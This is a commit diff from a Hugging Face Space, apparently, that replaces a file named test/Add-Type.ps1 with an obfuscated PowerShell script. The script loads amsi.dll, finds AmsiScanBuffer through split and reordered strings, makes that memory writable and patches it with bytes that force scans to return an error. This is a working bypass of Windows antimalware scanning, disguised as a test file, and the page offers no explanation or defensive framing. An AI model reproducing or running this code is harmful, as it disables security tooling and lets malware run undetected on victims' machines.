Spaces:
Runtime error
Runtime error
Update test/Add-Type.ps1
Browse files- test/Add-Type.ps1 +26 -4
test/Add-Type.ps1
CHANGED
@@ -1,4 +1,26 @@
|
|
1 |
-
$
|
2 |
-
|
3 |
-
|
4 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
${W`i`N32} = @"
|
2 |
+
using System;
|
3 |
+
using System.Runtime.InteropServices;
|
4 |
+
|
5 |
+
public class Win32 {
|
6 |
+
|
7 |
+
[DllImport("kernel32")]
|
8 |
+
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
9 |
+
|
10 |
+
[DllImport("kernel32")]
|
11 |
+
public static extern IntPtr LoadLibrary(string name);
|
12 |
+
|
13 |
+
[DllImport("kernel32")]
|
14 |
+
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
15 |
+
|
16 |
+
}
|
17 |
+
"@
|
18 |
+
|
19 |
+
Add-Type ${WIn`32}
|
20 |
+
|
21 |
+
${LOA`dlI`BR`ARY} = [Win32]::LoadLibrary("am" + ("{1}{0}"-f 'll','si.d'))
|
22 |
+
${aDD`R`Ess} = [Win32]::GetProcAddress(${lo`AD`L`ibRary}, ("{1}{0}"-f 'si','Am') + ("{0}{1}"-f'Sc','an') + ("{0}{1}"-f'Bu','ffer'))
|
23 |
+
${P} = 0
|
24 |
+
[Win32]::VirtualProtect(${A`dDrESS}, [uint32]5, 0x40, [ref]${P})
|
25 |
+
${Pat`CH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
|
26 |
+
[System.Runtime.InteropServices.Marshal]::Copy(${p`A`Tch}, 0, ${A`DDrE`ss}, 6)
|